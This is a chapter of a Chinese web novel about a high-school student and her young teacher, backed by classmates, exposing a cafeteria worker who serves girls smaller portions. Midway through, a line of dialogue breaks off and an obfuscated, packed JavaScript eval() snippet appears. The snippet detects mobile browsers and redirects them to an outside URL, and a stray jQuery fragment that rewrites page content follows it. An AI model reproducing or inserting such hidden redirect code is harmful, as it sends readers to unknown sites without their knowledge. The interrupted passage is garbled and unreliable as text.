“亲爱的女孩，你的敏感是一种天赋，同样也是一种强大的勇气。”


    ——芋圆の小记


    20


    办公室的门紧闭着，内里传出沉闷的交谈声，食堂大叔的反抗嗓音偶尔抬得很高，却总被更加严厉的呵斥声一次又一次强压下去。


    蔚媛站在门外，她的掌心贴在冰冷的门板上，余光瞥见身侧的人影晃动。


    “这件事雁子不让我们管，但我们不出面，她就得一个人担下来，到时候无论结果怎么样，她的工作都会受影响，我跟你一起进去，就说我们两个是当事人。”


    丰茂的话在蔚媛的脑海里盘旋，她屈指就要敲门，耳边似乎又响起沈雁回将她护在身后时说的，让她回到教室去，她会解决一切问题。


    她手上的动作又停下了。


    “我们这样会把事情复杂化的。”她扭头看向丰茂，内心的理智和冲动在打架。


    丰茂其实也很纠结，他并不清楚到底发生了什么，只是在门外偷听时听见了好几遍蔚媛的名字，沈雁回在极力反驳，声称这一切都和她的学生没有关系。


    闹事的食堂大叔叫喊着要沈雁回道歉，他心一急就往教室里跑，喊来了蔚媛。


    “来龙去脉我都可以说，但是……”蔚媛觉得思绪变成了一团凌乱的毛线，她垂眸盯着紧闭的门槛，突然听见办公室里传来一声清脆的玻璃碎裂响。


    “你们没有证据，凭什么说我工作有问题！你这个人根本不配当老师，我要去举报你！”


    “您冷静一点……蔚媛你来干什么！”


    蔚媛的犹豫在听见摔杯声的瞬间消失殆尽，她猛地推开办公室的门，和站在门边的沈雁回四目相对。


    “老师，我有证据。”她像是没看到沈雁回投来的诧异的目光，也似乎没有听见沈雁回让她不要再说赶紧回去的话，她的余光瞥见丰茂急匆匆走进办公室，她把口袋里的手机拿出来，递给了一旁的教导主任。


    “蔚媛同学，校规有规定，学生在校期间不能携带和使用手机，你这是怎么回事？”


    蔚媛下意识捏紧手机，听到沈雁回压低嗓音喊了她一声，她偷偷偏眸，居然瞧见了她微微泛红的眼角。


    她愣住了，脑海里突然浮现起第一次在七班教室里见到沈雁回的场景。


    她一年前来到七班，身上还带有学生的青涩，她站在讲台上微微笑着，说希望大家多多关照。


    蔚媛倏然意识到，抛开班主任的身份，此时的沈雁回，也不过是个二十几岁的女孩而已。


    是她想要公平，如果不是因为她，沈雁回根本不可能知道食堂里的这些事，眼前的食堂大叔也不会闹到办公室，一切都是因为她自作聪明，要什么无聊的公平。


    蔚媛眼眶一热，快速低下了头。


    “对不起王主任，我把手机上交给您，但今天这件事情，其实是我和沈老师反馈，说食堂大叔区别对待学生，这事情是我……”


    “蔚媛，你回教室里去！这件事跟你没关系！”沈雁回伸手夺走她的手机，把她往办公室外拉，“丰茂，谁让你去叫她的，你跟她一起回去！”


    沈雁回的手很凉，蔚媛站在原地，任凭她怎么说也一动不动。


    “我有证据。”她不顾沈雁回的阻止，看向一旁愣住的食堂大叔，“在我的相册里，我拍了视频，您就是区别对待，您没有资格说我的老师不配当老师。”


    “蔚媛！”


    “好了，小沈，把手机给我。”王平江也没想到这件事会被闹得这么大，他在沈雁回反映情况之后去调查过监控，但在他们这些老教师眼里，食堂大叔抖勺不过就是多一块肉少一勺菜的小事而已，年轻教师太较劲，非要有个结果，他们联系了负责人，给大叔发了条警告，要她之后注意。


    谁能想到这么小的事，谁能想到呢……


    沈雁回皱着眉，周围站着的几个老师都默不作声，她没有动作，手指却被人轻轻一捏。


    她抬眸，对上蔚媛期待的目光。


    “沈老师，我有视频，真的。”蔚媛说，“你做这些是为我好，我知道。”


    相册里的几个视频被一一打开，每打开一个，闹事者的控诉声就小一点。


    蔚媛时不时观察王平江的脸色，沈雁回站在她身边，她悄悄捏住了衣摆。


    “你这个小丫头，这几个视频也不能证明我区别对待啊，我就是按照一份一份的量打菜的，王主任你看嘛，是不是！”食堂大叔脸上挂不住，但还是很嘴硬，手指着视频上的画面，“我哪里有什么区别对待！哪里有！”


    “那你……”他这一套言论实在让人觉得不可思议，蔚媛忍不住往前走了一步，被沈雁回拉住了。


    “大叔，从视频中可以看出来，您给女同学打菜的份量的确比给男同学的少，但显然我们的视频里不止拍了一个人。”沈雁回说，“我们反映的是这个现象，并不是只针对您，如果我接到的反馈没问题的话，小炒菜窗口旁边的面馆也被警告了，您应该也知道。”


    食堂大叔指着手机的动作顿住，她抬眼看向沈雁回，胸口起伏着：“你这个小姑娘到底什么意思？我不管别人有没有被警告，现在食堂让我不要干了！你们这些老师学生让我怎么活！”


    他又要上手，王平江眼疾手快拦住他，边呵斥边把沈雁回往旁边推，让她先别讲话。


    “怎么你还想上手打人？食堂没有让你不干，只是让你回去反省几天，下周就让你复工，你不能胡说。”


    “说得好听，说不定下个礼拜回来就不要我了！要我反省，反省什么！份量有什么问题，男孩子长身体本来就比女孩子容易饿，多给一勺也很正常，女孩子胃口小小，打多了菜都浪费，我这是在为大家着想！”


    “女孩们也在发育期，您有没有想过她们和男孩一样需要更多营养呢？您为什么会默认女孩就比男孩的饭量小，就算有些女孩饭量小，她们花了一样的钱，就有权利要求您给她们打一样份量的菜！”


    办公室倏然安静下来，蔚媛看着沈雁回据理力争，她的手被她紧紧牵住，似乎有一股强大的力量，由她的身体缓缓流向她。


    “可是我们胃口不小啊。”蔚媛在沉默中开口，她的手心一紧，她眨眨眼，又重复道，“我们的胃口不小，我的饭量也许比您的还大，要是您不信……”


    “我可以来证明。”


    熟悉的声音从办公室门外传来，蔚媛心中一震，回头看到虚掩的门不知何时被推开，商娩站在门外，她的身后乌泱泱的，都是七班的同学。


    “我的胃口也不小，我吃自助餐能吃几十盘肉。”商娩和蔚媛对视，她朝她傲娇地挑了挑眉，将目光转向办公室里的大叔，“您要是不信，放学我请您吃自助呗？”


    “你们来凑什么热闹，现在是早读时间！”王平江没想到一抬头就看到这么多学生，他瞪大了双眼，用手指了指门外的同学们，又转头看着沈雁回，“这怎么回事？”


    “听说我们沈老师被欺负了，我们来当证人啊。”商娩此时气血上涌，才不怕王平江呢，她一脚踏进办公室，站在了蔚媛和沈雁回身边。


    跟在她身后的同学们纷纷走进来，沈雁回正欲开口，人群中又传来另一道声音。


    “我也可以作证，我也有照片和视频。”


    说话的是周紫，她平时是个说话声音很轻很温柔的女生，今天却站出来说自己可以作证，蔚媛愣了愣，和她的视线相交，看到她笑了笑。


    蔚媛突然感觉心头泛起一阵淡淡的暖意。


    随着她们两个人说完话后，跟来的范晔也举起手，他嗓门一向很大，开口瞬间就将所有人的目光吸引过来。


    “这个大叔我知道，不就是小炒菜那家的么！哎叔你瞪我干啥，我要是知道你这么对咱学校的女孩子们，我可不去你那个窗口排队了，这多不好啊，宋繁你说是不是？”


    宋繁？他居然也来了？


    “怎么样，我们很义气吧？”商娩凑在蔚媛耳边小声说，“我说要来找你们，连宋繁都过来了，咱们七班同学就是团结哈！”


    蔚媛没接话，余光瞥了一眼几个站在人群前面的同学，宋繁站在范晔身旁，此时正蹙眉盯着角落里的大爷，没有注意到她的目光。


    她正欲移开眼，却听见他应了范晔的话。


    “的确，上次我和范晔看见，他给女生打的番茄炒鸡蛋里，全都是番茄，没有鸡蛋。”


    他这句话就是指认，话音刚落，后面就有同学接上继续说：“对啊，我上次也是，同样是六块钱的青椒炒肉，我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976340|171776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的量比前面的男生少很多。”


    “我也是我也是，我后来都不想去小炒菜了。”


    ……


    “你们都是胡说八道！”食堂大叔气得整张脸都红了，他跳起来就要往前冲，被几个男老师猛地拉住。


    沈雁回赶忙上前把同学们往办公室外赶。


    “谢谢同学们，我知道你们是为了我才赶来办公室，但这件事还是交给老师解决，好不好？”


    “沈老师……”


    “都给我回教室去！”王平江本来就被食堂大叔闹得头疼，现在看见这么多学生更是差点一口气没上来，他快步走到教室外，指着七班的同学喝道，“你们在这里我们还怎么处理事情！再这样下去你们沈老师都要被警告停课，我数到三，都回去！”


    王平江这句话踩到了同学们的软肋，大家上楼来本就是为了沈雁回，走廊上一阵沉默，蔚媛感觉到手指被捏了捏，她抬头看见沈雁回居然笑了。


    “好了傻孩子们，回去吧，等一会儿处理完之后我去教室给你们汇报，别担心。蔚媛丰茂，是你两个把同学们引上来的，你们负责把他们带回去。”蔚媛想开口，却觉得手边的口袋突然一沉，她垂眸看到手机滑进口袋，沈雁回的手在她腰上轻轻一拍。


    “去吧。”


    去吧，勇敢的少年们。


    ……


    教室里的早读气氛很低迷，蔚媛捏着课本边角，看着商娩刚递给她的小纸条——“我跟你说，刚刚所有女生都跟我上去了，就只有王其那几个男的一动不动，而且最过分的是什么你知道吗！他居然说这有什么好在意，女的胃口小就少吃点好了，我的天，气死我了！


    蔚媛正看着，桌子却被敲了敲，以为是管早读的老师来了，她瞬间坐直了身子，将目光偷偷瞄向后门。


    “你的笔。”


    眼前出现一支全新的红笔，她的眸光微动，和宋繁恰好对上了视线。


    “刚刚你跑出去太急，把笔丢在我身上了。”宋繁挑了挑眉，用手指着自己校服上长长的一道红色。


    “……”蔚媛张了张嘴，顿时说不出话来。


    当时情况那么紧急，她还哪里顾得上其他的。


    “抱歉，我帮你送干洗店吧，国庆假结束前还给你。”


    她接过宋繁递来的笔，指腹轻轻刮过他的指尖，下一秒就见他快速收回了手。


    “没事，我自己会洗。”


    就是说出来让你抱歉一下。


    蔚媛还惦记着沈雁回，此刻也没心思去探究宋繁的话中话，自然也就错过他偷偷她观察的目光。


    这一句故意的调侃，并没有落在缓和情绪的刀刃上。


    他们的聊天引得范晔好奇回头，他瞧着蔚媛啧啧摇头，感叹道：“芋圆，你真猛，真的。”


    “猛个头！我都快被吓死了，早知道会这样就先不让芋圆去和雁子说了，现在闹成这样可怎么办。”商娩叹了口气。


    “可是我觉得你们很勇敢啊，我反正我会站你们的。”范晔摇头晃脑的，用手肘怼了怼宋繁，“兄弟你说呢？”


    宋繁还盯着衣服上的红线发呆，闻言转眸看向蔚媛，她正在解锁手机屏幕，变长的刘海垂下来，遮住她半张脸，他望过去，只见她抿着唇，侧脸微微鼓起来。


    “嗯。”他倏然移开目光，“勇敢。”


    他的声音很轻，但蔚媛听到了，她落在手机键盘上的动作微顿，窗外的光照在身上，她的后背暖洋洋的。


    聊天界面上俨然写着四个字：雁子老师。


    “沈老师，真的对不起。”


    “如果是今天这件事，你不需要道歉，你做得很好。”


    对面的消息回得很快，蔚媛呼吸微微一滞。


    “世界上有这么多不公平的事，正因为有你、商娩，还有七班的同学们，这些不公平才能被看见，公平的需求才能被实现，我应该感谢你，同时你也应该感谢自己。”


    “芋圆，敏感是一种勇气，你正拥有它。”


    她盯着最后一条消息，目光触及“勇气”，耳边又飘来宋繁极轻的一句“勇敢”，她听到教室门被推开，周遭由静默忽而转至喧嚣。


    她抬起头，沈雁回站在讲台上，她的目光灼灼，恰好与她的怦然相撞。